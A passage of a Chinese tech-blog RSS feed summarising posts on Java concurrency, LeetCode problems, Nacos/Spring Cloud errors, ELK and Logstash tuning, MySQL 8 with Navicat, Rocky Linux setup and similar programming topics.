      <link>https://bchobby.github.io/posts/3455b2e9426c4ccbebbce75a46312c9f/</link>
      <pubDate>Mon, 29 Nov 2021 19:50:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3455b2e9426c4ccbebbce75a46312c9f/</guid>
      <description>目录&#xA;项目结构分析&#xA;pom.xml文件删除线​&#xA;MySQL的版本问题&#xA;Nacos服务启动问题&#xA;idea中启动nacos&#xA;Maven 依赖问题&#xA;项目克隆问题&#xA;JDK 配置问题&#xA;Maven配置编译问题&#xA;服务注册异常(NacosException)&#xA;服务配置读取问题&#xA;配置文件格式问题&#xA;无法访问此网站&#xA;pom.xml有删除横线&#xA;访问404异常&#xA;访问500异常&#xA;端口占用问题&#xA;服务调用案例分析&#xA;服务ID问题分析&#xA;Maven Helper插件应用&#xA;客户端调用异常(ClientException)&#xA;@PathVariable 注解在@FeignClient中应用&#xA;​ 依赖注入失败(Bean Not Found)&#xA;请求映射路径重复定义&#xA;@FeignClient注解名字问题&#xA;Feign远程调用超时&#xA;图解服务调用方案&#xA;配置文件加载顺序&#xA;​ 拉取(Pull)配置信息&#xA;Nacos配置中心模型&#xA;Tomcat 请求处理分析&#xA;Java线程池构成分析&#xA;线程池任务执行过程&#xA;线程拒绝执行异常&#xA;JDK 版本问题&#xA;Sentinel 控制台显示&#xA;微服务中的Sentinel日志&#xA;回顾Spring MVC 请求处理&#xA;Sentinel 请求拦截分析&#xA;Day06&#xA;Idea中启动Nacos&#xA;跨域访问问题&#xA;Nacos 服务注册问题&#xA;文件上传404问题&#xA;请求资源405异常&#xA;请求资源500异常&#xA;BeanCreationException 异常&#xA;服务名无效或没有定义&#xA;Day07&#xA;网关配置文件问题&#xA;服务访问被拒绝(Connection refused)</description>
    </item>
    <item>
      <title>Java并发编程--自旋锁的实现和使用（Spin Lock）</title>
      <link>https://bchobby.github.io/posts/4396716d5c63a2445e7638746d8567ab/</link>
      <pubDate>Mon, 29 Nov 2021 19:24:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4396716d5c63a2445e7638746d8567ab/</guid>
      <description>自旋锁是这样一类锁：当线程等待加锁时，不会阻塞，不会进入等待状态，而是保持运行状态。大致的思路是：让当前线程不停地的在循环体内执行，当循环的条件被其他线程改变时才能进入临界区。&#xA;一种实现方式是通过CAS原子操作：设置一个CAS原子共享变量，为该变量设置一个初始化的值；加锁时获取该变量的值和初始化值比较，若相等则加锁成功，让后把该值设置成另外一个值；若不相等，则进入循环（自旋过程），不停的比较该值，直到和初始化值相加锁成功。&#xA;自旋锁的优势 （1）性能较高：自旋锁不会使线程状态切换，始终处于用户态，即线程始终处于活动状态，不会让线程进入阻塞状态，减少不必要的上下文切换，性能较高；&#xA;（2）避免死锁：自旋锁不会让线程阻塞或等待，也就不需要唤醒，所以可以避免产生死锁；&#xA;自旋锁的缺点 （1）在等待锁时进入循环会占用CPU，若等待的线程很多，对CPU的消耗会比较大；&#xA;（2）不适合需要长时间等待的任务或线程；&#xA;（3）不适合大量线程等待的场景。&#xA;自旋锁的使用场景 （1）等待时间比较短的任务中；&#xA;（2）线程数量不太多的应用中；&#xA;（3）当等待时间长或线程数量很大时，可以使用其他锁（比如：可重入锁）。&#xA;自旋锁和互斥锁 （1）自旋锁和互斥锁都是保护资源共享的机制；&#xA;（2）无论是自旋锁还是互斥锁，任何时候最多只能有一个持有者；&#xA;（3）如果锁已被占用，则获取互斥锁的线程将进入阻塞状态；获取自旋锁的线程不会阻塞。&#xA;自旋锁的实现 使用AtomicReference变量的CAS机制来实现自旋锁。由于AtomicReference变量能够保证多个线程同时对其读写时的原子性（这种原子性是通过sun.misc.unsafe包来实现的，后面会专门介绍），所以，可以使用这种类型 的共享变量作为判断条件。&#xA;public class SpinLock { // 定义一个原子引用变量 private AtomicReference&amp;lt;Thread&amp;gt; sign = new AtomicReference&amp;lt;&amp;gt;(); public void lock(){ Thread current = Thread.currentThread(); // 加锁时：若sign为null，则设置为current；若sihn不为空，则进入循环，自旋等待； while(!sign.compareAndSet(null, current)){ // 自旋：Do Nothing！！ } } public void unlock (){ Thread current = Thread.currentThread(); // 解锁时：sign的值一定为current，所以直接把sign设置为null。 // 这样其他线程就可以拿到锁了（跳出循环）。 sign.compareAndSet(current, null); } } 注意：这种自旋锁的实现方式是不可重入的。也就是说：若一个已经加锁成功的线程再次获取该锁时，会失败。那么如何实现一个可重入的自旋锁呢？其实就是比较目前的线程引用是否和锁中记录的线程引用相等，若相等加锁成功。可重入自旋锁会在下面章节进行分析。&#xA;可重入自旋锁 当一个使用自旋锁加锁成功的线程，再次尝试加锁时可以加锁成功（可重入）。&#xA;第1种实现方式 通过ReentrantLock类来实现。ReentrantLock的tryLock不会让线程阻塞，从而可以用来当做自旋锁的对比判断然后循环等待的条件。</description>
    </item>
    <item>
      <title>力扣每日一题（难的我也不会）（2021.11.29）</title>
      <link>https://bchobby.github.io/posts/23a01414fc20b7564260dbcefa74af1b/</link>
      <pubDate>Mon, 29 Nov 2021 18:59:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23a01414fc20b7564260dbcefa74af1b/</guid>
      <description>给你一个按递增顺序排序的数组 arr 和一个整数 k 。数组 arr 由 1 和若干 素数 组成，且其中所有整数互不相同。 对于每对满足 0 &amp;lt; i &amp;lt; j &amp;lt; arr.length 的 i 和 j ，可以得到分数 arr[i] / arr[j] 。 那么第 k 个最小的分数是多少呢? 以长度为 2 的整数数组返回你的答案, 这里 answer[0] == arr[i] 且 answer[1] == arr[j] 。 public int[] kthSmallestPrimeFraction(int[] arr, int k) { //计算所有分数长度 int len=arr.length; int n=0; for (int i = 1; i &amp;lt;= len-1; i++) { n=n+i; } Double[] darr=new Double[n]; int darrCount=0; HashMap&amp;lt;Double,int[]&amp;gt; map=new HashMap&amp;lt;&amp;gt;(); for (int i = 0; i &amp;lt; len-1; i++) { for (int j = i+1; j &amp;lt; len; j++) { double d=(double) arr[i]/arr[j]; darr[darrCount++]=d; map.</description>
    </item>
    <item>
      <title>02.SQL Server（表创建及约束）</title>
      <link>https://bchobby.github.io/posts/41a49decefcefdb0fd0ac2ba1344b802/</link>
      <pubDate>Mon, 29 Nov 2021 17:34:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41a49decefcefdb0fd0ac2ba1344b802/</guid>
      <description>在使用数据库的过程中，接触最多的就是数据库中的表，表中存放了数据库中的所有数据，所以表是SQL Server数据库系统的基本信息存储结构，也是数据库中你那个最重要的部分，管理好表自然就管理好了数据库。&#xA;1.数据表概述 数据表是数据库最重要的组成部分之一。数据库只是一个框架，数据表才是其实质内容，所有数据存储在数据表中。根据信息的分类情况，一个数据库中可能包含若干个数据表 。&#xA;在创建数据表的过程中，因为要定义表中的字段，需要为字段选定数据类型，下面介绍SQL Server 2008 R2 常用的基本类型。&#xA;2.SQL基本数据类型 分类&#xA;备注和说明&#xA;数据类型&#xA;说明&#xA;二进制数据类型&#xA;存储非子符和文本的数据&#xA;Image&#xA;可用来存储图像&#xA;文本数据类型&#xA;字符数据包括任意字母、符号或数字字符的组合&#xA;Char&#xA;固定长度的非 Unicode 字符数据&#xA;Varchar&#xA;可变长度非 Unicode 数据&#xA;Nchar&#xA;固定长度的 Unicode 数据&#xA;Nvarchar&#xA;可变长度 Unicode 数据&#xA;Text&#xA;存储长文本信息&#xA;Ntext&#xA;存储可变长度的长文本&#xA;日期和时间&#xA;日期和时间在单引号内输入&#xA;Datetime 日期和时间&#xA;数字数据&#xA;该数据仅包含数字，包括正数、负数以及分数&#xA;int&#xA;smallint&#xA;整数&#xA;float&#xA;real&#xA;数字&#xA;货币数据类型&#xA;用于十进制货币值&#xA;Money&#xA;Bit数据类型&#xA;表示是/否的数据&#xA;Bit&#xA;存储布尔数据类型&#xA;3.数据表创建 通过sql结构化查询语言创建数据表有2种方式，（1）对象资源管理器（2）脚本方式&#xA;3.1 使用对象资源管理器创建表&#xA;3.2 使用脚本方式创建表&#xA;create table tb_表名</description>
    </item>
    <item>
      <title>linux模糊匹配文件后删除</title>
      <link>https://bchobby.github.io/posts/7729f7651280bec4d89c04b50f07b00f/</link>
      <pubDate>Mon, 29 Nov 2021 17:25:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7729f7651280bec4d89c04b50f07b00f/</guid>
      <description>find . -name ‘wget-log*’ -exec rm {} ;&#xA;命令含义：&#xA;. 表示查找的目录范围，也就是当前目录下&#xA;‘wget-log*’ 为查找的文件名，* 表示匹配任意字符串&#xA;支持以下通配符：&#xA;通配符 作用&#xA;匹配任意字符串&#xA;? 匹配任意单个字符&#xA;[] 匹配 [] 内字符,可以按,-区分,也可无符号区分&#xA;! 匹配非 ! 后的字符串中的每一个字符 一般配合[]使用&#xA;-exec rm {} 表示使用前面 find 命令获取到的文件名，替换 {} 批量执行rm命令，可以根据自己的需要修改执行的命令 在执行上面的命令删除文件时，最好先单独执行 find 命令，检查下匹配到的文件，以免错删&#xA;find . -name ‘wget-log*’</description>
    </item>
    <item>
      <title>idea使用技巧</title>
      <link>https://bchobby.github.io/posts/52c3097b6cfb4d7fe6daeb7948fccbae/</link>
      <pubDate>Mon, 29 Nov 2021 14:46:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52c3097b6cfb4d7fe6daeb7948fccbae/</guid>
      <description> 全局搜索 ------ 美式键盘下Ctrl+Shift+f查看某个方法或类的详细内容 ------ Ctrl+鼠标点方法(类)名若执行2后想返回之前的位置 ------ Ctrl+Alt+向左箭头快速生成if、while循环、do~while循环、for循环、try等 ----- Ctrl+Alt+t调用方法获取返回值或new新对象接收其值 ------ .var大小写切换 ------ Ctrl+Shift+u代码格式化 ------ Ctrl+Alt+l快速生成输出语句 ------ 例如：“hello”.sout或&#34;hello&#34;.soutv持久类生成代码(如GET,SET方法,构造函数等) ------ Alt+Insert自动导入包 ------ Alt+Enteridea设置菜单和左边项目文件目录字体的大小设置 ------ 用Ctrl+Alt+s打开Settings，Settings &amp;gt;&amp;gt; Appearance &amp;amp; Behavior &amp;gt; Appearance代码字体大小设置 ------ 用Ctrl+Alt+s打开Settings，Editor &amp;gt; Fontidea设置代码提示和eclipse一样为Alt+/ ------ Settings &amp;gt;&amp;gt; Keymap &amp;gt; Main menu &amp;gt; Code &amp;gt; Code Completion &amp;gt; Basic </description>
    </item>
    <item>
      <title>ELK日志系统的写入优化</title>
      <link>https://bchobby.github.io/posts/8307b7bf8d7a426852a0b52f3207eb45/</link>
      <pubDate>Mon, 29 Nov 2021 14:41:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8307b7bf8d7a426852a0b52f3207eb45/</guid>
      <description> 日志系统的写入优化 1. 日志集群优化的基本原则 对于日志收集系统来说，就是使用尽可能少的资源来存储尽可能多的日志，所以需要结合日志集群的特点进行优化。这些优化一般可以分为两个方面，一个方面是提升服务器配置，给更多的资源，比如加机器，上ssd等这种，这种优化会提升集群的写入效率，但是不会有其他的损失，甚至其他方面也会有提升；还有一方面的优化则是带有trade-off的，也就是牺牲一些其他方面的性能来提升写入的效率（比如降低search的资源）。&#xA;2. 服务器配置优化 服务器的配置优化和搭建用于online搜索的集群类似&#xA;提升集群的节点数量使用专用的master给每个节点更多的内存和更多的cpu核数节点要开启memory-lockjvm配置优化使用ssd磁盘（这个实际上是可以对于高index专用的优化） 3.带有trade-off的配置优化 1.索引的配置优化（要配置到index-teplate中，因为索引按天生成） 索引的shard数量合理设置，保证每个shard数据量大概为20-50g,可以减小对内存的使用,副本数最多设置为1即可&#xA;索引的refresh设置更大，来降低refresh的开销，要配置到index-teplate中（因为索引按天生成）&#xA;&#34;index.refresh_interval&#34;:&#34;30s&#34; translog设置，减小translog对性能的消耗，这种在节点挂掉的时候有可能会发生丢数据的情况&#xA;&#34;translog&#34;: { &#34;flush_threshold_size&#34;: &#34;1024mb&#34;, &#34;sync_interval&#34;: &#34;600s&#34;, &#34;durability&#34;: &#34;async&#34; } 2.节点配置优化 对于日志集群，一般是写多读少，所以可以分配更多的内存来做index buffer&#xA;indices.memory.index_buffer_size: 30% </description>
    </item>
    <item>
      <title>Spark综合学习笔记（二十二）SparkSQL实战4-花式查询</title>
      <link>https://bchobby.github.io/posts/61d2992ea37695d0e664c20274d97009/</link>
      <pubDate>Mon, 29 Nov 2021 14:18:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61d2992ea37695d0e664c20274d97009/</guid>
      <description>学习致谢 https://www.bilibili.com/video/BV1Xz4y1m7cv?p=59&#xA;SparkSQL花式查询 在Spark5QL模块中，将结构化数据封装到DataFrame或Dataset集合中后，提供了两种方式分析处理数据:&#xA;1、SQL编程，将DataFrame/Dataset注册为临时视图或表，编写SQL语句，类似HiveQL;&#xA;2、DSL (domain-specific language)编程，（类似于面向对象）调用DataFrame/Dataset APIl(函数），类似RDD中函数;&#xA;需求: 针对personDF中的数据使用SQL和DSL两种方式进行各种查询&#xA;代码实现： package sql import org.apache.spark.rdd.RDD import org.apache.spark.sql.SparkSession /** * Author itcast * Desc 演示使用spark-SQL-使用SQL和DSL两种方式进行各种查询 */ object Demo04_Query { def main(args: Array[String]): Unit = { //TODO 0.准备环境 val spark = SparkSession.builder().appName(&#34;sparksql&#34;).master(&#34;local[*]&#34;).getOrCreate() val sc = spark.sparkContext sc.setLogLevel(&#34;WARN&#34;) //TODO 1.加载数据 val lines:RDD[String] = sc.textFile(&#34;data/SogouE.txt&#34;) //TODO 2.处理数据 val personRDD:RDD[Person] = lines.map(line =&amp;gt; { val arr: Array[String] = line.split(&#34; &#34;) Person(arr(0).toInt, arr(1), arr(2).toInt) }) //RDD---&amp;gt;DF import spark.</description>
    </item>
    <item>
      <title>Python&#43;Selenium UI自动化-基础定位语法(id,name,class_name,tag_name,link_text)</title>
      <link>https://bchobby.github.io/posts/445494797a6568e8114122c6fd996981/</link>
      <pubDate>Mon, 29 Nov 2021 13:38:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/445494797a6568e8114122c6fd996981/</guid>
      <description> 百度搜索举例&#xA;import time from selenium import webdriver driver = webdriver.Chrome() driver.get(&#39;https://www.baidu.com&#39;) driver.maximize_window() time.sleep(2) driver.find_element_by_id(&#39;kw&#39;).send_keys(&#39;丸子&#39;)#使用id定位方法 driver.find_element_by_name(&#39;wd&#39;).send_keys(&#39;丸子&#39;)#使用name定位方法 driver.find_element_by_class_name(&#39;s_ipt&#39;).send_keys(&#39;丸子&#39;) #通过classname匹配 print(len(driver.find_elements_by_tag_name(&#39;input&#39;))) #通过tag_name driver.find_element_by_link_text(&#39;新闻&#39;).click() #通过link全部匹配 driver.find_element_by_partial_link_text(&#39;信息网络传播&#39;).click() #通过link，部分匹配 time.sleep(2) driver.quit()#退出浏览器 </description>
    </item>
    <item>
      <title>lostash Timeout executing grok 问题排查</title>
      <link>https://bchobby.github.io/posts/676621f4e89dfb6699fe087cff418be2/</link>
      <pubDate>Mon, 29 Nov 2021 12:34:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/676621f4e89dfb6699fe087cff418be2/</guid>
      <description>文章目录 Timeout executing grok 问题排查1. 问题背景1. 基础配置2. pipeline配置 2. 问题表现3. 尝试通过修改 memory-queue+ poll-size4. 通过gc日志定位问题 Timeout executing grok 问题排查 使用logstash的时候发现会有这个报错，导致logstash不稳定，input端是kafka，就会导致kafka的反复rebalance,一开始排查思路有问题，而且网上的资料可能都是其中的一个原因，所以导致我的排查思路偏了。&#xA;1. 问题背景 我有一组logstash 从kafka中消费日志数据，解析后丢到ES当中，提供一些日志的检索能力。大概的配置是这样的。&#xA;1. 基础配置 logstash版本 7.5.0&#xA;jvm&#xA;java -version openjdk version &#34;1.8.0_312&#34; OpenJDK Runtime Environment (build 1.8.0_312-b07) OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode) -Xms6g -Xmx6g config/logstash.yml&#xA;pipeline.workers: 6 pipeline.batch.size: 50 2. pipeline配置 input { kafka{ bootstrap_servers =&amp;gt; &#34;xxx:9092&#34; topics_pattern =&amp;gt; &#34;log_.*&#34; auto_offset_reset =&amp;gt; &#34;latest&#34; group_id =&amp;gt; &#34;</description>
    </item>
    <item>
      <title>解决跨域：“Access to XMLHttpRequest at ‘http://127.0.0.1:8081‘ from origin ‘http://localhost:8080‘“</title>
      <link>https://bchobby.github.io/posts/e1fc8784fe9aaa7b591a2a9d56e0bfce/</link>
      <pubDate>Mon, 29 Nov 2021 11:55:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1fc8784fe9aaa7b591a2a9d56e0bfce/</guid>
      <description>在使用 vue 过程中经常会向服务器请求数据，但是时常会发生跨域的错误，具体什么是“跨域”请自行百度，这里说明一下怎么解决这个问题。&#xA;1、在 vue.config.js 文件中配置如下操作：&#xA;2、在 main.js 中修改baseURL&#xA;3、在服务器中配置允许跨域</description>
    </item>
    <item>
      <title>实现mini-vue3</title>
      <link>https://bchobby.github.io/posts/68fac8f54fd0b098fac24e4d5ed29a27/</link>
      <pubDate>Mon, 29 Nov 2021 10:16:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68fac8f54fd0b098fac24e4d5ed29a27/</guid>
      <description>点击下面链接看视频 视频地址&#xA;初始化项目 yarn init -y vue3源码采用的是monorerpo的管理方式，我们这就简单点的方式&#xA;创建包&#xA;集成typescript&#xA;注意如果没有安装typescript需要先安装typescript&#xA;npx tsc --init 集成jest&#xA;yarn add jest @types/jest --dev 注意安装之后还是不能识别spec.ts文件&#xA;需要在ts.config文件中配置&#xA;配置测试脚本命令&#xA;配置ts.config&#xA;解决jest不兼容esmodule的问题&#xA;配置一下babel&#xA;https://jestjs.io/docs/getting-started&#xA;安装插件jest&#xA;实现收集依赖 先创建effect.spec.js&#xA;describe(&#39;effect&#39;, () =&amp;gt; { it(&#34;enter&#34;, () =&amp;gt; { const af = reactive({ age: 1 }) /** * 所谓的收集依赖就是将effect下面的回调函数fn get的时候先放在一个容器中 * set的时候在执行所有被收集起来的fn */ let newAge effect(() =&amp;gt; { newAge =af.age + 1 }) expect(newAge).toBe(2) af.age++ expect(newAge).toBe(3) }) }) 配置ts.config使其兼容es6&#xA;reactive.spec.ts&#xA;import { reactive } from &#39;.</description>
    </item>
    <item>
      <title>数据结构（C语言）哈夫曼树 11月25日</title>
      <link>https://bchobby.github.io/posts/1c9fdc68db0c273c810244b795d36959/</link>
      <pubDate>Sun, 28 Nov 2021 21:51:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c9fdc68db0c273c810244b795d36959/</guid>
      <description>实验内容：&#xA;1．设置7个字符a~g的权值，以它们为叶子构造哈夫曼树&#xA;2. 输出它们的哈夫曼编码。&#xA;哈夫曼树：&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; #include&#34;string.h&#34; //哈夫曼树 #define MAXLEAF 100 //最多叶子节点数 #define MAXVALUE 100 //最大权值 typedef struct { int weight;//权值 int parent;//父节点 int lchild;//左孩子 int rchild;//右孩子 }hnodetype; int n = 7;//叶子节点个数，全局变量 //哈夫曼算法生成哈夫曼树（最优二叉树） void huffmantree(hnodetype huffnode[MAXLEAF], int n) { int i = 0, j = 0; for (i = 0; i &amp;lt; 2 * n - 1; i++) //初始化huffnode数组 { huffnode[i].weight = 0; huffnode[i].parent = -1; huffnode[i].lchild = -1; huffnode[i].</description>
    </item>
    <item>
      <title>5940. 从数组中移除最大值和最小值</title>
      <link>https://bchobby.github.io/posts/26037711acd81b4fc76630baec6f32c5/</link>
      <pubDate>Sun, 28 Nov 2021 18:33:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26037711acd81b4fc76630baec6f32c5/</guid>
      <description>5940. 从数组中移除最大值和最小值 给你一个下标从 0 开始的数组 nums ，数组由若干 互不相同 的整数组成。&#xA;nums 中有一个值最小的元素和一个值最大的元素。分别称为 最小值 和 最大值 。你的目标是从数组中移除这两个元素。&#xA;一次 删除 操作定义为从数组的 前面 移除一个元素或从数组的 后面 移除一个元素。&#xA;返回将数组中最小值和最大值 都 移除需要的最小删除次数。&#xA;示例 1： 输入：nums = [2,10,7,5,4,1,8,6] 输出：5 解释： 数组中的最小元素是 nums[5] ，值为 1 。 数组中的最大元素是 nums[1] ，值为 10 。 将最大值和最小值都移除需要从数组前面移除 2 个元素，从数组后面移除 3 个元素。 结果是 2 + 3 = 5 ，这是所有可能情况中的最小删除次数。 示例 2： 输入：nums = [0,-4,19,1,8,-2,-3,5] 输出：3 解释： 数组中的最小元素是 nums[1] ，值为 -4 。 数组中的最大元素是 nums[2] ，值为 19 。 将最大值和最小值都移除需要从数组前面移除 3 个元素。 结果是 3 ，这是所有可能情况中的最小删除次数。 示例 3： 输入：nums = [101] 输出：1 解释： 数组中只有这一个元素，那么它既是数组中的最小值又是数组中的最大值。 移除它只需要 1 次删除操作。 提示：</description>
    </item>
    <item>
      <title>5939. 半径为 k 的子数组平均值</title>
      <link>https://bchobby.github.io/posts/04c5aeee7d10d1ed65d6e58676a6d9d2/</link>
      <pubDate>Sun, 28 Nov 2021 18:26:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04c5aeee7d10d1ed65d6e58676a6d9d2/</guid>
      <description>5939. 半径为 k 的子数组平均值 给你一个下标从 0 开始的数组 nums ，数组中有 n 个整数，另给你一个整数 k 。&#xA;半径为 k 的子数组平均值 是指：nums 中一个以下标 i 为 中心 且 半径 为 k 的子数组中所有元素的平均值，即下标在 i - k 和 i + k 范围（含 i - k 和 i + k）内所有元素的平均值。如果在下标 i 前或后不足 k 个元素，那么 半径为 k 的子数组平均值 是 -1 。&#xA;构建并返回一个长度为 n 的数组 avgs ，其中 avgs[i] 是以下标 i 为中心的子数组的 半径为 k 的子数组平均值 。&#xA;x 个元素的 平均值 是 x 个元素相加之和除以 x ，此时使用截断式 整数除法 ，即需要去掉结果的小数部分。</description>
    </item>
    <item>
      <title>Navicat如何连接本地MySql</title>
      <link>https://bchobby.github.io/posts/259c38d19ecef2d4be1f0aafb9d9e17b/</link>
      <pubDate>Sun, 28 Nov 2021 15:25:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/259c38d19ecef2d4be1f0aafb9d9e17b/</guid>
      <description>1.直接连接&#xA;打开navicat，点击连接-&amp;gt;MySql&#xA;可是点击“连接测试的时候”就出现了错误：&#xA;2.解决：&#xA;原因：&#xA;这是因为我安装的数据库版本是，mysql8。&#xA;在mysql8之前的版本中加密规则为mysql_native_password，而在mysql8以后的加密规则为caching_sha2_password。&#xA;而未更新驱动的navicat是按之前的即mysql_native_password的规则进行加密的，所以我们可以将mysql用户登录的加密规则修改为mysql_native_password。&#xA;解决方法&#xA;Win+R&#xA;输入cmd&#xA;输入如下命令：&#xA;3条命令：&#xA;ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;password&#39; PASSWORD EXPIRE NEVER; ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED WITH mysql_native_password BY &#39;password&#39;; FLUSH PRIVILEGES; 这样修改加密规则后，应该就没问题了。&#xA;注意：navicat连接数据库的密码，和进入数据库的密码是一个密码。&#xA;3.连接&#xA;这样再点击测试，就提示测试成功！</description>
    </item>
    <item>
      <title>寻找数组的中心索引</title>
      <link>https://bchobby.github.io/posts/613bbbf567c3cf04457bba923d6e5345/</link>
      <pubDate>Sun, 28 Nov 2021 15:12:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/613bbbf567c3cf04457bba923d6e5345/</guid>
      <description>给你一个整数数组 nums ，请计算数组的 中心下标 。&#xA;数组 中心下标 是数组的一个下标，其左侧所有元素相加的和等于右侧所有元素相加的和。&#xA;如果中心下标位于数组最左端，那么左侧数之和视为 0 ，因为在下标的左侧不存在元素。这一点对于中心下标位于数组最右端同样适用。&#xA;如果数组有多个中心下标，应该返回 最靠近左边 的那一个。如果数组不存在中心下标，返回 -1&#xA;优化后：&#xA;class Solution { public int pivotIndex(int[] nums) { int sum = 0; for(int i = 0;i&amp;lt;nums.length;i++){ sum += nums[i]; } int sum_right = sum; for(int j = 0;j&amp;lt;nums.length;j++){ sum_right = sum_right - nums[j]; if((sum-nums[j])==sum_right*2){//如果j是中心点，那么左边和等于右边和，那么总和sum-nums[j]是sum_right的2倍 return j; } } return -1; } } 或者这样写&#xA;class Solution { public int pivotIndex(int[] nums) { int sum = 0; for(int i = 0;i&amp;lt;nums.</description>
    </item>
    <item>
      <title>【Rocky Linux】Rocky Linux 8.5版本全新图文安装教程并更换阿里镜像源等配置操作</title>
      <link>https://bchobby.github.io/posts/15e3fd0dc5f83ae4831dcf420696dfef/</link>
      <pubDate>Sun, 28 Nov 2021 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15e3fd0dc5f83ae4831dcf420696dfef/</guid>
      <description>文章目录 一、参考链接说明二、什么是Rocky Linux？三、Rocky Linux系统安装步骤1、下载Rocky Linux官方镜像2、进入Rocky Linux的初始安装界面3、选择安装过程中的 语言4、设置相关安装信息摘要(1)修改本地化中的时间和日期(2)设置软件中软件选择。(3)设置系统中的磁盘分区(4)在用户设置中设置ROOT密码 5、安装信息设置完成后，开始安装6、安装完成，重启系统7、重启系统后，进行初始化操作(1)勾选✔许可条款(2)结束配置(3)设置用户名(4)设置用户名密码 8、初始化完成，开始使用 三、Rocky Linux系统配置步骤1、修改主机名2、配置网络信息(1)修改ifcfg-ens160网络配置文件(2)重启网络并查看状态(3)检查网络配置是否已正确应用(4)查看所有接口详细信息(5)测试网络连通性 3、使用阿里云Rocky Linux镜像源替换默认源(1)打开终端，备份默认源(2)更换阿里云镜像源 一、参考链接说明 文章涉及镜像下载和参考资料如下：&#xA;Rocky Linux官网：&#xA;https://rockylinux.org/&#xA;Rocky Linux官网安装手册文档：https://docs.rockylinux.org/zh/guides/installation/&#xA;Rcoky Linux 8.5版本镜像下载链接：https://www.rockylinux.org/download/&#xA;阿里巴巴开源镜像站：&#xA;https://developer.aliyun.com/mirror/&#xA;阿里巴巴Rocky Linux镜像源链接：&#xA;https://developer.aliyun.com/mirror/rockylinux?spm=a2c6h.13651102.0.0.46951b11x4Qj3N&#xA;二、什么是Rocky Linux？ Rocky Linux是一个社区企业操作系统，旨在100%兼容美国顶级企业Linux发行版，因为其下游合作伙伴已经改变了方向。它正在由社区密集开发。Rocky Linux由CentOS项目的创始人Gregory Kurtzer领导。请贡献者使用此站点上提供的通信选项进行联系。&#xA;Rocky Linux 是 CentOS 的一个分支，它位于 Red Hat Enterprise Linux（RHEL） 的下游。与 CentOS 一样，它提供了非常适合服务器的稳定版 Linux。它旨在作为 CentOS 的完全兼容替代品。&#xA;三、Rocky Linux系统安装步骤 1、下载Rocky Linux官方镜像 Rocky-8.5-x86_64-dvd1.iso&#xA;根据需要选择对应的版本进行下载安装即可。&#xA;本实验使用Rocky-8.5-x86_64-dvd1.iso镜像进行安装操作。&#xA;（此镜像大小约为9.98 GB ,可提前下载准备至本地。）&#xA;2、进入Rocky Linux的初始安装界面 选择install Rocky Linux 8后，按下回车键enter，开始安装Rocky Linux。&#xA;3、选择安装过程中的 语言 本实验采用中文安装。单击“继续”。</description>
    </item>
    <item>
      <title>itextpdf html转pdf</title>
      <link>https://bchobby.github.io/posts/69368ac0efb12075a08fb199ae3ce4ad/</link>
      <pubDate>Sat, 27 Nov 2021 21:05:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69368ac0efb12075a08fb199ae3ce4ad/</guid>
      <description>itextpdf html转pdf ************** 相关类与接口&#xA;HtmlConverter&#xA;public class HtmlConverter { private HtmlConverter() { } *********** 转换为pdf public static void convertToPdf(String html, OutputStream pdfStream) { public static void convertToPdf(String html, OutputStream pdfStream, ConverterProperties converterProperties) { public static void convertToPdf(String html, PdfWriter pdfWriter) { public static void convertToPdf(String html, PdfWriter pdfWriter, ConverterProperties converterProperties) { public static void convertToPdf(String html, PdfDocument pdfDocument, ConverterProperties converterProperties) { public static void convertToPdf(File htmlFile, File pdfFile) throws IOException { public static void convertToPdf(File htmlFile, File pdfFile, ConverterProperties converterProperties) throws IOException { public static void convertToPdf(InputStream htmlStream, OutputStream pdfStream) throws IOException { public static void convertToPdf(InputStream htmlStream, OutputStream pdfStream, ConverterProperties converterProperties) throws IOException { public static void convertToPdf(InputStream htmlStream, PdfDocument pdfDocument) throws IOException { public static void convertToPdf(InputStream htmlStream, PdfWriter pdfWriter) throws IOException { public static void convertToPdf(InputStream htmlStream, PdfWriter pdfWriter, ConverterProperties converterProperties) throws IOException { public static void convertToPdf(InputStream htmlStream, PdfDocument pdfDocument, ConverterProperties converterProperties) throws IOException { *********** 转换为document public static Document convertToDocument(String html, PdfWriter pdfWriter) { public static Document convertToDocument(InputStream htmlStream, PdfWriter pdfWriter) throws IOException { public static Document convertToDocument(String html, PdfWriter pdfWriter, ConverterProperties converterProperties) { public static Document convertToDocument(InputStream htmlStream, PdfWriter pdfWriter, ConverterProperties converterProperties) throws IOException { public static Document convertToDocument(String html, PdfDocument pdfDocument, ConverterProperties converterProperties) { public static Document convertToDocument(InputStream htmlStream, PdfDocument pdfDocument, ConverterProperties converterProperties) throws IOException { *********** 转换为element public static List&amp;lt;IElement&amp;gt; convertToElements(String html) { public static List&amp;lt;IElement&amp;gt; convertToElements(InputStream htmlStream) throws IOException { public static List&amp;lt;IElement&amp;gt; convertToElements(String html, ConverterProperties converterProperties) { public static List&amp;lt;IElement&amp;gt; convertToElements(InputStream htmlStream, ConverterProperties converterProperties) throws IOException { static IMetaInfo createPdf2HtmlMetaInfo() { private static IMetaInfo resolveMetaInfo(ConverterProperties converterProperties) { private static class HtmlMetaInfo implements IMetaInfo { Converterproperties</description>
    </item>
    <item>
      <title>学习笔记 辗转相除法</title>
